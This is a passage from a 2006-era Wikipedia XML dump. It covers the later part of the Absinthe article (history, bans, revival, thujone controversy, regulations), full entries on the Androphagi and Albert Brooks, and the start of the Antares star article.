The precise origin of absinthe is unclear. According to popular legend, absinthe began as an all-purpose patent [[remedy]] created by Dr. Pierre Ordinaire, a French doctor living in Couvet, [[Switzerland]], around [[1792]] (the exact date varies by account). Ordinaire's recipe was passed on to the Henriod sisters of Couvet, who sold absinthe as a medicinal [[elixir]]. In fact, by other accounts, the Henriod sisters may have already been making the liqueur before Ordinaire's arrival. In either case, one Major Dubied in turn acquired the formula from the sisters and, in 1797, with his son Marcellin and son-in-law Henry-Louis Pernod, opened the first absinthe distillery, Dubied Père et Fils, in Couvet. In 1805, they built a second distillery in Pontarlier, France, under the new company name, Maison Pernod Fils.&lt;ref&gt;[http://www.absinthebuyersguide.com/history.html &quot;Absinthe History&quot;], from [http://www.absinthebuyersguide.com/ Absinthe Buyers Guide].&lt;/ref&gt;
[[Image:Degasabsinthe.jpg|right|thumbnail|''[[L'Absinthe]]'', by [[Edgar Degas]].]]
Absinthe's popularity grew steadily until the [[1840's]] when absinthe was given to French [[troops]] as a [[fever]] preventative.  When the troops returned home they brought their taste for absinthe with them and it became popular at [[bars]] and [[bistro]]s.  

By the [[1860s]], absinthe had become so popular that in most [[café]]s and [[cabaret]]s 5 p.m. signaled ''l'heure verte'' (&quot;the green hour&quot;).  Still, it remained expensive and was favored mainly by the [[bourgeoisie]] and eccentric bohemian artists.  By the 1880s, however, the price had dropped significantly, the market expanded, and absinthe soon became the drink of France. By 1910, the French were consuming 36 million [[liters]] of absinthe per year.

===Ban===
Spurred by the [[temperance movement]] and winemakers' associations, absinthe was publicized in connection with several violent crimes supposedly committed under the direct influence of the drink. This, combined with rising hard liquor consumption due to the [[Phylloxera|wine shortage in France]] during the [[1880s]] and [[1890s]], effectively labelled absinthe as a social menace. Its critics said that ''it makes people crazy and criminal, it turns men into brutes and threatens the future of our times.'' [[Edgar Degas]]'s 1876 painting, ''L'absinthe'' (''The Absinthe Drinkers'') (now at the [[Musée d'Orsay]]) epitomized the popular view of absinthe &quot;addicts&quot; as sodden and benumbed; [[Émile Zola]] described their serious intoxication in his novel ''[[L'Assommoir]]''.

The Lanfray murders spelled the last straw for absinthe.  In [[1905]] it was reported that Jean Lanfray murdered his family and attempted to kill himself after drinking absinthe.  The fact that he was an alcoholic who had drank considerably after the two glasses of absinthe in the morning was forgotten and the murders were blamed solely on absinthe.  A petition to ban absinthe in Switzerland was quickly signed by over 82,000 people.

In [[Switzerland]], the prohibition of absinthe was even written into the constitution in 1907, following a popular initiative.  [[The Netherlands]] came next, banning absinthe in 1909.  Followed by the United States in [[1912]] and finally [[France]] in [[1915]].  The prohibition of absinthe in France led to the growing popularity of ''[[pastis]]'' and ''[[ouzo]]'', other anise-flavored liqueurs that do not use wormwood.

===Modern revival===
[[Image:Absinthe-bottles.jpg|thumbnail|An assortment of modern absinthe.]]
[[Image:tryandfly.jpg|thumbnail|A modern art absinthe poster of 2005]]
In the [[1990s]] an importer, [[BBH Spirits]], realized that there was no [[United Kingdom|UK]] law prohibiting absinthe sale (it was never banned there)&amp;mdash;other than the standard regulations governing [[alcoholic beverage]]. [[Hill's Liquere]], a [[Czech Republic]] distillery founded in 1920, began manufacturing Hill's Absinth, sparking the modern resurgence in absinthe's popularity. This &quot;[[Bohemian]]&quot;-style absinthe, which lacks anise and other herbs, bears little resemblance to the traditional French drink, apart from the inclusion of wormwood and a high alcohol content. It is, however, what many people know as absinthe in some European markets. Hill's claims its absinth is from its own recipe, made popular in the 1930s; however, there is no documentary evidence to support this story.[http://www.oxygenee.com/absintheFAQ6.html]

It had also never been banned in [[Spain]] or [[Portugal]], where it continues to be made. Likewise, the former Spanish and Portuguese New World colonies, especially [[Mexico]], allow the sale of absinthe and it has retained popularity through the years.

France never repealed the 1915 law, but in [[1988]], a law was passed to clarify that only beverages that do not comply with [[European Union]] regulations with respect to thujone content, or beverages that call themselves &quot;absinthe&quot; explicitly, fall under that law. This has resulted in the re-emergence of French absinthes, now labelled ''spiritueux à base de plantes d'absinthe'' (&quot;wormwood-based spirits&quot;). Interestingly, as the 1915 law regulates only the sale of absinthe in France but not its production, some of these manufacturers also produce variants destined for exports which are plainly labeled &quot;absinthe.&quot; [[La Fée Absinthe]], launched in 2000, was the first brand of absinthe distilled and bottled in France since the 1915 ban, initially mainly for export from France, but now one of over twenty French &quot;spiritueux ... d'absinthe&quot; available in Paris and other French cities.  

In [[the Netherlands]] this law was successfully challenged by [[Amsterdam]] wineseller [[Menno Boorsma]] in [[July 2004]], making absinthe once more legal. Subsequently, the government in [[May 2005]] repealed this law.

In Switzerland the ban on absinthe was repealed in [[2000]] during a general overhaul of the constitution, but the prohibition was written into ordinary law instead. Later that law was also repealed, so from [[March 2]], [[2005]], absinthe is again legal in its country of origin, after nearly a century of prohibition. Evidence suggests absinthe has never stopped being produced in Switzerland and clandestine home distillers had produced it since the ban.

Absinthe is once again legal to produce and sell in practically every country where alcohol is legal, the one major exception being the United States.

====Cruise mystery====
In January 2006, a widely published [[Associated Press]] [[wire service]] article echoed the news media's sensationalistic absinthe scare of the early 20th century. It was reported that on the night he disappeared, [[George Allen Smith IV]] (the Greenwich, Connecticut, man who in July 2005 vanished from aboard the [[Royal Caribbean]]'s ''Brilliance of the Seas'' while on his honeymoon cruise) and other passengers drank a bottle of absinthe. The story noted the modern revival and included numerous quotes from various sources, suggesting that absinthe remains a serious and dangerous hallucinogenic drug:

:''&quot;In large amounts it would certainly make people see strange things and behave in a strange manner,&quot; said Jad Adams, author of the book, &quot;Hideous Absinthe: A History of the Devil in a Bottle.&quot; &quot;It gives people different, unusual ideas which they wouldn't have had on their own accord because of its stimulative effect on the mind.&quot;''

:''&quot;Absinthe is banned in the United States because of harmful neurological effects caused by a toxic chemical called thujone, said Michael Herndon, spokesman for the U.S. Food and Drug Administration.''[http://www.greenwichtime.com/news/scn-sa-ct-cruise.1.23jan23,0,1307244.story] [http://www.boston.com/news/local/connecticut/articles/2006/01/22/banned_liquor_latest_twist_in_cruise_disappearance/]

The story also noted: &quot;Defenders of the drink say it is safe and its harmful effects a myth.&quot;

Jad Adams and Ted Breaux were interviewed on [[MSNBC]] about this issue.  Ted Breaux had this to say,
:''&quot;one thing we know is that absinthe, old and new, does not contain a lot of thujone.  And what we know, from certain scientific studies, which have been published in the past year or so, is that, first of all, thujone is not present in any absinthe in sufficient concentration to cause any type of deleterious effects in humans.&quot;''[http://www.msnbc.msn.com/id/11007598/]

==Etymology==
The French word ''absinthe'' can refer either to the liquor, or to the actual wormwood plant (''grande absinthe'' being [[Artemisia absinthium]], and ''petite absinthe'' being [[Artemisia pontica]]). The word derives from the Latin ''absinthium'', which is in turn a stylization of the Greek ''αψινθιον'' (apsinthion). Some claim that the word means &quot;undrinkable&quot; in Greek, but it may instead be linked to the [[Persian Language|Persian]] root ''spand'' or ''aspand'', or the variant ''esfand'', which may have been, rather, [[Peganum harmala]], a variety of [[rue]], another famously bitter herb. That this particular plant was commonly burned as a protective offering may suggest that its origins lie in the reconstructed [[Proto-Indo-European language|Proto-Indo-European]] root ''*spend'', meaning &quot;to perform a ritual&quot; or &quot;make an offering&quot;. Whether the word was a borrowing from Persian into Greek, or rather from a common ancestor is unclear.

==Controversy==
[[Image:Manet, Edouard - The Absinthe Drinker.jpg|thumb|[[Edouard Manet]], &quot;The Absinthe Drinker.&quot; An unapologetic look at a street bum.]]
It was thought that excessive absinthe-drinking led to effects which were specifically worse than those associated with over-indulgence in other forms of alcohol &amp;mdash; which is bound to have been true for some of the less-scrupulously adulterated products, creating a condition called ''absinthism''. Undistilled wormwood essential oil contains a substance called [[thujone]], which is an [[epilepsy|epileptic]] (and can cause [[renal failure]]) in extremely high doses, and the supposed ill effects of the drink were blamed on that substance in [[19th century]] studies.

The effects of absinthe have been described by artists as mind opening, and even [[Psychedelics, dissociatives and deliriants|hallucinogenic]] and by prohibitionists as turning good people mad and desolate.  Both are exaggerations.  Sometimes called &quot;secondary effects&quot;, the most commonly-reported is a &quot;clear headed&quot; drunk feeling and thujone was said to be the cause.  The [[placebo effect]] and individual reaction to the herbs makes these secondary effects very subjective and minor compared to the [[psychoactive]] effects of alcohol.

More recent studies have shown that very little of the thujone present in wormwood actually makes it into a properly distilled absinthe, even one re-created using historical recipes and methods.  Most proper absinthe both vintage and modern are naturally within the EU limits. [http://www.feeverte.net/thujone.html] [http://www.emmert-analytik.de/DLR_100_9_S352-356.pdf]  A recent French distiller has had to add pure [[essential oil]] of wormwood to make a &quot;high-thujone&quot; variant of his product. It can remain in higher amounts in oils produced by other methods than distillation, or when wormwood is macerated and not distilled, especially when the plant stems are used, where thujone content is the highest.  

A study in the ''Journal of Studies on Alcohol'' concluded that a high concentration of thujone in alcohol has negative effects on attention performance.  It slowed down [[reaction time]] and subjects concentrated their attention in the central field of vision.  Medium doses did not produce a noticeably different effect than plain alcohol. The high dose of thujone in this study was larger than what one can get from current &quot;high thujone&quot; absinthe before becoming too drunk to notice, also, as most people describe the effects of absinthe as a more lucid and aware drunk, this suggests that thujone alone is not the cause of these effects.

The non-French spelling, &quot;absinth&quot; has been adopted for wormwood-based drinks produced in [[Central Europe]] since the beginning of the [[1990s]] (it is now also considered a spelling variant). Although not always the case, these products bear very little resemblance to the traditional French and Swiss absinthe: they are usually bitter and contain little anise, but are marketed to capitalize on the romantic associations and psychoactive reputation of the historical French product. Typically, the low herbal content of these drinks means that they do not produce the louche effect, and as thujone is still associated with the myth of absinthe as a psychoactive drink, many of them advertise a &quot;higher thujone content&quot;.

==Cultural impact==
The legacy of absinthe as a mysterious and addictive, mind-altering drink continues to this day.  Absinthe has been seen or featured in [[fine art]], movies, video, music and literature. The modern absinthe revival has had an effect on its portrayal. It is often shown as an unnaturally glowing green liquid which is set on fire before drinking, even though traditionally neither is true.

===Arts &amp; Literature===
Numerous artists and writers living in France during the late 19th and early 20th century were noted absinthe drinkers and featured absinthe in their work. These include [[Vincent Van Gogh]], [[Manet]], [[Guy de Maupassant]], [[Toulouse Lautrec]], and many others. Degas' painting &quot;L'Absinthe&quot; (1876) portrayed absinthe drinkers in a cafe. [[Picasso]] depicted absinthe in different media, including the paintings &quot;Woman Drinking Absinthe&quot; (1901) and &quot;Bottle of Pernod and Glass&quot; (1912), and the sculpture &quot;Absinthe Glass&quot; (1914). [[Oscar Wilde]] has been quoted as saying, &quot;What difference is there between a glass of absinthe and a sunset?&quot;&lt;ref&gt;[http://www.oxygenee.com/absintheFAQ4.html Oxygénée's Absinthe FAQ IV]&lt;/ref&gt;&lt;!--lots more stuff to include here --&gt;

===Movies &amp; TV===
In ''[[Bram Stoker's Dracula]]'' starring [[Gary Oldman]] and [[Winona Ryder]], Prince Vlad (Oldman) drinks absinthe with Mina/Elizabeta (Ryder) in a London restaurant.  [[Paul Verlaine]] is shown drinking absinthe in the 1995 film ''[[Total Eclipse]]''.  In the 1997 film ''[[Deceiver]]'', [[Tim Roth]]'s character is shown drinking absinthe; the drink's legendary effects are highlighted in the plot.  In the 2001 movie ''[[From Hell]]'', Inspector Abberline ([[Johnny Depp]]) mixes opium with absinthe to make a very addictive drink.  Also produced in 2001, ''[[Moulin Rouge!]]'' portrayed absinthe as the drink of the Bohemian revolution.  It was used indirectly as the subject of an American independent [[neo-noir]] film, ''[[Bitters and Blue Ruin]]''.  In the beginning of the 2002 movie ''[[XXX]]'', the villians can be seen drinking a green liquid that they set on fire before ingesting. In ''[[Murder by Numbers]]'' (2002), absinthe is prepared by [[Michael Pitt]]'s character, who also gives a speech on its effects and ingredients. In the 2004 movie ''[[EuroTrip]]'', several teenagers purchase a bottle of absinthe at a nightclub in [[Bratislava]]. In the 2004 movie ''[[Van Helsing]]'', Van Helsing finds the Frankenstein monster under a windmill full of absinthe bottles.  In the remake of ''[[Alfie (2004 film)|Alfie]]'' (2004), Liz ([[Susan Sarandon]]) plies the main character ([[Jude Law]]) with absinthe prepared in contemporary style with a sugar cube set on fire. Absinthe also made an appearance in the [[HBO]] television series ''[[Carnivale|Carnivàle]]'', imbibed by a mysterious blind seer, as well as in the [[CBS]] crime drama ''[[C.S.I.]]''. Absinthe was also featured in the episode &quot;The Big Lockout&quot; of the British comedy series [[Black Books]] where character [[Bernard Black]] says, &quot;What do they say, Absinthe, the drink that makes you want to kill yourself.&quot; It was also portrayed in the episode of Friends where Ross wanted to kill Rachel.   In the second series of [[Sky One|Sky One's]] ''[[Hex (TV Series)|Hex]]'', Ella ([[Laura Pyper]]) offers Absinthe to the popular students as means to break the ice whe she enrolls in their school.  She warns the character of Leon ([[Jamie Davis]]) that it &quot;...rots your brain&quot;.

===Music===
Progressive power metal band [[Symphony X]] released &quot;Absinthe And Rue&quot; on their self-titled debut album (1994). The [[John Zorn]]-founded ensemble [[Naked City]] released an ethereal album entitled ''Absinthe'' in 1996. A collaboration between [[Blood Axis]] and [[Les Joyaux De La Princesse]] produced the 2001 [[concept album]] ''[[Absinthe: La Folie Verte]]'', followed up with the live album ''[[Absinthia Taetra]]''. Absinthe appeared in the [[Nine Inch Nails]] video &quot;[[The Perfect Drug]]&quot;. [[Mustis]], the keyboardist from the band [[Dimmu Borgir]], is often pictured with a bottle of absinthe, most notably in their 2003 album, ''[[Death Cult Armageddon]]''. The gothic metal band [[Cradle of Filth]] released a song on 2004's ''[[Nymphetamine]]'', called &quot;Absinthe with Faust&quot;; its opening line is, &quot;Pour the emerald wine into crystal glasses.&quot;  [[Marilyn Manson]] boasts of having written an entire album on absinthe. The famous &quot;One More Saturday Night&quot; logo from the Grateful Dead featured a skeleton swigging absinthe. In the opening number in ''[[Wicked]]'', &quot;No One Mourns The Wicked&quot;, a green elixir turns Elphaba ''[[green]]''.

==Regulations==
Currently, most countries do not have a legal definition of absinthe (unlike, for example, [[Scotch whisky]] or [[cognac (spirit)|cognac]]). Therefore, manufacturers can label a product &quot;absinthe&quot; or &quot;[[absinth]]&quot;, regardless of whether it matches the traditional definition.

===European Union===
The [[European Union]] permits a maximum thujone level of 10 mg/kg in alcoholic beverages with more than 25% ABV and 35 mg/kg in alcohol labeled as bitters.&lt;ref&gt;European Commission. [http://europa.eu.int/comm/food/fs/sc/scf/out162_en.pdf &quot;Opinion of the Scientific Committee on Food on Thujone&quot;], SCF/CS/FLAV/FLAVOUR/23 ADD2 Final [[6 February]] [[2003]].&lt;/ref&gt; Member countries regulate absinthe production within this framework.&lt;!-- needs clarification of EU rulings, dates and details, and also how that applies to the member countries; also, is sale permitted in all EU countries?  --&gt;

====France====
Products explicitly called &quot;absinthe&quot; cannot be sold in France, although they can be produced for export.  Absinthe is now commonly labeled as ''spiritueux à base de plantes d'absinthe'' (&quot;wormwood-based spirits&quot;).  France also regulates Fenchone, a chemical in the herb fennel, to 5 mg/l. [http://www.legifrance.gouv.fr/texteconsolide/ADHJA.htm]

===Switzerland===
To be legally sold, absinthe must be distilled and either uncolored or naturally colored.

===Canada===
In [[Canada]], liquor laws are the domain of the provincial governments. [[British Columbia]] has no limits on thujone content, [[Alberta]], [[Ontario]], [[Nova Scotia]] and [[Quebec]] allow 10ppm thujone, and all other provinces do not allow the sale of absinthe containing thujone (although, in [[Saskatchewan]], you can purchase any liquor available in the world provided you buy a minimum of one case, usually 12 bottles x 750ml or 8 x 1L). The individual liquor boards must approve each product before it may be sold on shelves and currently only Hill's Absinth and, in limited release, La Fée Absinthe are approved. Other brands may appear in the future.

===United States===
[[Image:Affiche absinthe.jpg|thumb|Poster criticising the ban on absinthe in Switzerland.]]
According to [[US Customs]], &quot;The importation of Absinthe and any other liquors or liqueurs that contain ''Artemisia absinthium'' is prohibited.&quot; [http://www.cbp.gov/xp/cgov/travel/vacation/kbyg/prohibited_restricted.xml#Absinthe%20Alcohol] This runs contrary to FDA regulations which allows Artemisia species in food and drink as long as the finished product is thujone free.

Foods or beverages that contain Artemisia species, white cedar, oak moss, tansy or Yarrow must be thujone free.[http://www.cfsan.fda.gov/~lrd/FCF172.html]  Other herbs that contain thujone have no restrictions. For example, sage and sage oil (which can be 50%+ thujone) are on the FDA's list of Substances generally recognized as safe. [http://www.cfsan.fda.gov/~lrd/fcf182.html]

The prevailing consensus of interpretation of [[United States law]] among American absinthe connoisseurs is that:
* It is probably illegal to sell items meant for human consumption which contain thujone derived from ''Artemisia'' species.  This derives from an [[FDA]] regulation (as opposed to a [[Drug Enforcement Administration|DEA]] regulation).
* It is probably illegal for someone outside the country to sell such a product to a citizen living in the US, given that customs regulations specifically forbid the importation of &quot;absinthe.&quot;
* It is probably legal to purchase such a product for personal use in the US.
* Absinthe can be and occasionally is seized by United States [[Customs (tax)|Customs]], if it appears to be for human consumption.

A faux-absinthe liqueur called [[Absente]], made with ''[[southern wormwood]]'' (''[[Artemisia abrotanum]]'') instead of regular wormwood (''Artemisia absinthium''), is sold legally in the United States. However, the FDA prohibition extends to all ''Artemisia'' species, including even, in theory, ''Artemisia dracunculus'', [[tarragon]]. However, Absente is sold in US retail liquor stores because the export version made for the United States does not contain wormwood.

==Notes==
&lt;div style=&quot;font-size:100%;&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;

==References==
*Höld, K.M., et al. [http://www.pnas.org/cgi/content/abstract/97/8/3826 &quot;a-Thujone (the active component of absinthe): y-Aminobutyric acid type A receptor modulation and metabolic detoxification&quot;]. ''Proceedings of the National Academy of Sciences'' 97([[April 11]] [[2000]]):3826-3831.
*{{1911}}

==External links==
*[http://www.oxygenee.com/absintheMUSEUM.html Oxygenee's Virtual Absinthe Museum]
*[http://www.feeverte.net La Fée Verte] -- Forums, reviews and articles about absinthe.
*[http://www.wormwoodsociety.org/ The Wormwood Society] - An independent organization  founded to help promote accurate, current information about absinthe; to aid in reforming laws and regulations impacting absinthe in the US.  It does not sell absinthe.
*[http://www.absinthe.se Absinthe.se] - A comprehensive collection of Absinthe reviews and information.
*[http://leda.lycaeum.org/?ID=12102 Absinthe: The Green Goddess] by [[Aleister Crowley]]
*[http://www.eabsinthe.com/drinking-french-absinthe.htm The French ritual] - How to serve French-style absinthe 

===Articles of interest===
*Arnold, W.N. &quot;Absinthe&quot;. ''[[Scientific American]]'' 260(June 1989):112-117.
*[http://www.winespectator.com/Cigar/CA_Archives/CA_Show_Article/0,2322,220,00.html Absinthe's second coming] - An April 2001 article in Cigar Aficionado about the first absinthe commercially produced in France since the 1915 ban.
*[http://www.signonsandiego.com/news/features/20050323-0500-life-absinthe.html Swiss face sobering future after legalizing absinthe] - A March 2005 Reuters article about the legalization of absinthe in switzerland.
*[http://www.wired.com/wired/archive/13.11/absinthe.html The Mystery of the Green Menace] - A November 2005 WIRED Magazine article about a New Orleans man who has researched the chemical content of Absinthe and now distills it in France.


[[Category:Alcoholic beverages]]
[[Category:Distilled beverages]]


[[bg:Абсент]]
[[da:Absint]]
[[de:Absinth]]
[[fi:Absintti]]
[[fr:Spiritueux aux plantes d'absinthe]]
[[he:אבסינת]]
[[it:Assenzio]]
[[ja:アブサン]]
[[lb:Absinth]]
[[lt:Absentas]]
[[mk:Апсинт]]
[[nl:Absint]]
[[pl:Absynt]]
[[pt:Absinto]]
[[ru:Абсент]]
[[sv:Absint]]</text>
    </revision>
  </page>
  <page>
    <title>Androphagi</title>
    <id>3074</id>
    <revision>
      <id>35829401</id>
      <timestamp>2006-01-19T16:45:42Z</timestamp>
      <contributor>
        <ip>62.248.39.230</ip>
      </contributor>
      <text xml:space="preserve">'''Androphagi''' (Greek for &quot;man-eaters&quot;) was an ancient nation of [[cannibalism|cannibal]]s north of [[Scythia]] (according to [[Herodotus]]), probably in the forests between the upper waters of the [[Dnepr]] and [[Don River, Russia|Don]]. 

A hypothesis popular in the West is that they were most likely Finns &amp;mdash; the obsolete name of  ''[[Nenets]]'' people, ''Samoyed'', has a similar meaning in Russian: &quot;self-eater&quot;. This hypothesis is false, see [[Nenets]].

==References==
*{{1911}}

==See also==
*[[Issedones]]
*[[Anthropophagi]]


[[Category:Ancient peoples]]</text>
    </revision>
  </page>
  <page>
    <title>Albert Brooks</title>
    <id>3075</id>
    <revision>
      <id>41285865</id>
      <timestamp>2006-02-26T07:45:14Z</timestamp>
      <contributor>
        <username>JackO'Lantern</username>
        <id>716541</id>
      </contributor>
      <text xml:space="preserve">'''Albert Brooks''' (born [[July 22]], [[1947]]) is a [[United States|American]] [[actor]], [[comedian]] and [[film director|director]].

==Early life==
Brooks was born '''Albert Lawrence Einstein''' in [[Beverly Hills]], [[Los Angeles, California]] to a [[Jewish American]] family. His father, [[Harry Parke|Harry Einstein]], was a comedian who performed on [[Eddie Cantor]]'s [[radio]] program and was known as [[Harry Parke|Parkyarkarkus]]. His mother was actress [[Thelma Leeds]] (born ''Thelma Goodman''). His brother is [[Super Dave Osborne]].

Brooks grew up among showbusiness royalty in southern [[California]], attending high school with [[Richard Dreyfuss]] and [[Rob Reiner]].

==Career==
Brooks attended [[Carnegie Tech]] in [[Pittsburgh]], but dropped out after one year to focus on his comedy career. He changed his surname from ''Einstein'' and began a stand-up comedy career that quickly made him a regular on [[variety show|variety]] and [[talk show]]s during the late [[1960s]] and early [[1970s]]. His onstage persona, that of an egotistical, nervous comic, influenced other comedians, including [[Steve Martin]], [[Martin Mull]] and [[Andy Kaufman]].

After two successful comedy albums, ''Comedy Minus One'' (1974) and the [[Grammy Award]]-nominated ''A Star is Bought'' (1975), Brooks left the standup circuit to try his hand as a filmmaker; his first film, ''The Famous Comedians School'', was a satiric short which appeared on [[PBS]] and was an early example of the [[mockumentary]] sub-genre. In [[1975 in television|1975]], he directed six short films for the first season of [[NBC]]'s ''[[Saturday Night Live]]'', and in [[1976 in film|1976]] appeared in his first mainstream film role, in [[Martin Scorsese|Scorsese]]'s landmark ''[[Taxi Driver]]'' (Scorsese allowed Brooks to improvise much of his dialogue). Many of these roles reflected Brooks's decision to move to [[Los Angeles]] to get into the film business.

Brooks directed his first feature film, ''[[Real Life (movie)|Real Life]]'', in [[1979 in film|1979]]. The film, in which Brooks obnoxiously films a typical [[suburb]]an family in an effort to win both an [[Academy_award|Oscar]] and a [[Nobel Prize]], was a sendup of [[PBS]]'s ''[[An American Family]]'' documentary. Brooks also made a brief cameo in the film ''[[Private Benjamin]]'' ([[1980 in film|1980]]), starring [[Goldie Hawn]].

Through the [[1980s]] and [[1990s]], Brooks co-wrote (with longtime collaborator Monica Johnson), directed and starred in a series of moderately-successful comedies, playing variants on his standard neurotic and self-obsessed character. These include [[1981 in film|1981]]'s ''[[Modern Romance]]'', where Brooks played a film editor desperate to win back his ex-girlfriend, as well as his best-received film, ''[[Lost in America]]'' ([[1985 in film|1985]]), which featured Brooks and [[Julie Hagerty]] as a couple who leave their [[yuppie]] lifestyle, drop out of society and live in a motor home, only to find the disadvantages of [[poverty]].

Brooks's ''[[Defending Your Life]]'' ([[1991 in film|1991]]) placed his lead character in the [[afterlife]], put on trial to justify his human failings and to determine his cosmic fate. Critics responded to the offbeat premise and the surprising chemistry between Brooks and [[Meryl Streep]] as his post-death love interest. His later efforts did not find large audiences, but still retained Brooks's touch as a filmmaker. He garnered positive reviews for ''[[Mother (film)|Mother]]'' ([[1996 in film|1996]]), which starred Brooks as a middle-aged [[writer]] moving back home to resolve his tensions with his mother ([[Debbie Reynolds]]). [[1999 in film|1999]]'s ''[[The Muse]]'' featured Brooks as a down-and-out [[Hollywood]] screenwriter using the services of an authentic muse ([[Sharon Stone]]) for inspiration.

Brooks also acted in other writers and directors' films during the [[1980s]] and [[1990s]]. He moved into the horror genre in one of the stories in ''[[Twilight Zone: The Movie]]'', playing an unsuspecting driver who picks up a suspicious hitchhiker ([[Dan Aykroyd]]). In [[James L. Brooks]]'s hit ''[[Broadcast News (film)|Broadcast News]]'' ([[1987 in film|1987]]), he was nominated for an [[Academy Award for Best Supporting Actor]] as an insecure, supremely ethical [[television network|network TV]] [[reporter]]. He also won postive notices for his role in [[1998 in film|1998]]'s ''[[Out of Sight]]'', playing an untrustworthy banker and ex-convict, as well as for his portrayal of a dying retail store owner who befriends disillusioned teen [[Leelee Sobieski]] in ''[[My First Mister]]'' ([[2001 in film|2001]]), and he has appeared as a guest voice on ''[[The Simpsons]]'' five times during its run. Brooks continued his voiceover work in [[The Walt Disney Company|Disney]] and [[Pixar]]'s ''[[Finding Nemo]]'' ([[2003 in film|2003]]), as the voice of &quot;Marlin&quot; the clown fish; &quot;Nemo&quot; is Brooks' largest grossing film to date.

In [[2005 in film|2005]], his film ''[[Looking for Comedy in the Muslim World]]'' drew controversy for its title. [[Sony Pictures]] eventually dropped the film altogether because of their desire to change the title. Subsequently, [[Warner Independent Pictures]] purchased the film and gave it a limited release in [[January 2006]]; the film received mixed reviews and a low box office gross. The movie goes back to the days of Brooks' ''[[Real Life (film)|Real Life]]'', as Brooks once again plays himself, a filmmaker commissioned by the U.S. government to see what makes the [[Muslim]] people laugh, thus sending him on a tour throughout Muslim countries.

==Private life==
Brooks was romantically linked to singer [[Linda Ronstadt]] and actresses [[Carrie Fisher]], [[Julie Hagerty]] and [[Kathryn Harrold]]. He married Kimberly Shlain, a web designer he met while filming &quot;Mother&quot;, on [[March 1997|March 15, 1997]]; the couple have two children, Jacob Eli (born 1999) and Claire Elizabeth (born 2000).

==Selected filmography==
[[Image:Looking_for_Comedy_in_the_Muslim_World_film.jpg|thumb|Brooks in ''Looking for Comedy in the Muslim World'']]
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|- bgcolor=&quot;#CCCCCC&quot; align=&quot;center&quot;
| '''Year''' || '''Title''' || '''Role''' || '''Other notes'''
|-
| [[2006 in film|2006]] || ''[[Looking for Comedy in the Muslim World]]'' || Albert Brooks || also writer
|-
| [[2003 in film|2003]] || ''[[Finding Nemo]]'' || Marlin || voice only
|-
| [[2003 in film|2003]] || ''[[The In-Laws]]'' || Jerry Peyser ||
|-
| [[2001 in film|2001]] || ''[[My First Mister]]'' || Randall 'R' Harris ||
|-
| [[1999 in film|1999]] || ''[[The Muse (movie)|The Muse]]'' || Steven Phillips || also writer
|-
| [[1996 in film|1996]] || ''[[Mother (movie)|Mother]]'' || John Henderson || also writer
|-
| [[1994 in film|1994]] || ''[[The Scout]]'' || Al Percolo || also writer
|-
| [[1994 in film|1994]] || ''[[I'll Do Anything]]'' || Burke Adler ||
|-
| [[1991 in film|1991]] || ''[[Defending Your Life]]'' || Daniel Miller || also writer
|-
| [[1987 in film|1987]] || ''[[Broadcast News (film)|Broadcast News]]'' || Aaron Altman ||
|-
| [[1985 in film|1985]] || ''[[Lost In America]]'' || David Howard || also writer
|-
| [[1983 in film|1983]] || ''[[Twilight Zone: The Movie]]'' || Car Driver (Prologue) ||
|-
| [[1981 in film|1981]] || ''[[Modern Romance]]'' || Robert Cole || also writer
|-
| [[1979 in film|1979]] || ''[[Real Life (film)|Real Life]]'' || Albert Brooks || also writer
|}

==External links==
===Interviews===
*[http://www.thejewishweek.com/news/newscontent.php3?artid=11924 The Jewish Week interview] (January 20, 2006)
*[http://nwitimes.com/articles/2006/01/26/entertainment/entertainment/94a9a1a1daeb82cd862570fa00760c41.txt NWI Times interview] (January 20, 2006)
*[http://www.thewavemag.com/pagegen.php?pagename=article&amp;articleid=25676 Wave Magazine interview] (January, 2006)
*[http://www.tipjar.com/dan/albertbrooks.htm Pitch Weekly interview] (September 1, 1999)
*[http://www.ifmagazine.com/feature.asp?article=343 IFMagazine interview] (August 27, 1999)
===Web sites===
*[http://www.albertbrooks.com/ Official site of Albert Brooks]
*{{imdb name|id=0000983|name=Albert Brooks}}

[[Category:1947 births|Brooks, Albert]]
[[Category:American comedians|Brooks, Albert]]
[[Category:American film actors|Brooks, Albert]]
[[Category:American film directors|Brooks, Albert]]
[[Category:Best Supporting Actor Oscar Nominee|Brooks, Albert]] &lt;!--Broadcast News (film)--&gt;
[[Category:Jewish American actors|Brooks, Albert]]
[[Category:Jewish American comedians|Brooks, Albert]]
[[Category:Jewish American directors|Brooks, Albert]]
[[Category:Living people|Brooks, Albert]]
[[Category:People from Los Angeles|Brooks, Albert]]

[[fr:Albert Brooks]]
[[sv:Albert Brooks]]</text>
    </revision>
  </page>
  <page>
    <title>Antares</title>
    <id>3076</id>
    <revision>
      <id>41536091</id>
      <timestamp>2006-02-28T00:27:55Z</timestamp>
      <contributor>
        <username>Wayne Hardman</username>
        <id>295</id>
      </contributor>
      <minor />
      <comment>NASA didn't name the LMs, the crew did within certain guidelines</comment>
      <text xml:space="preserve">''This article is about the [[star]]. For the Australian National Tandem Accelerator, see [[ANTARES (accelerator)|ANTARES]].''
''Or for Fallen Angel Antares, see [[Demon Antares]].''
{{Starbox begin |
   name=Antares A/B }}
{{Starbox observe |
  epoch=J2000 |
  constell=[[Scorpius]] |
  ra=16h 29m 24.4s |
  dec=-26&amp;deg; 25' 55&quot; |
  appmag_v=1.06 }}
{{Starbox character |
  class=M1.5Iab-Ib/B4Ve |
  b-v=1.83 |
  u-b=1.34 |
  variable=LC-type }}
{{Starbox astrometry |
  radial_v=-3 |
  prop_mo_ra=-10.16 |
  prop_mo_dec=-23.21 |
  parallax=5.40 |
  p_error=1.68 |
  dist_ly=604 |
  dist_pc=185 |
  absmag_v=-5.28 }}
{{Starbox catalog |
  names=&amp;alpha; Scorpii, 21 Sco, Cor Scorpii, Kalb al Akrab, Scorpion's Heart, Vespertilio, [[Harvard Revised catalogue|HR]] 6134, [[Cordoba Durchmusterung|CD]] -26&amp;deg;11359, [[Henry Draper catalogue|HD]] 148478, [[Smithsonian Astrophysical Observatory|SAO]] 184415, FK5 616, WDS 16294-2626, CCDM 16294-2626, [[Hipparcos catalogue|HIP]] 80763. }}
{{Starbox end}}
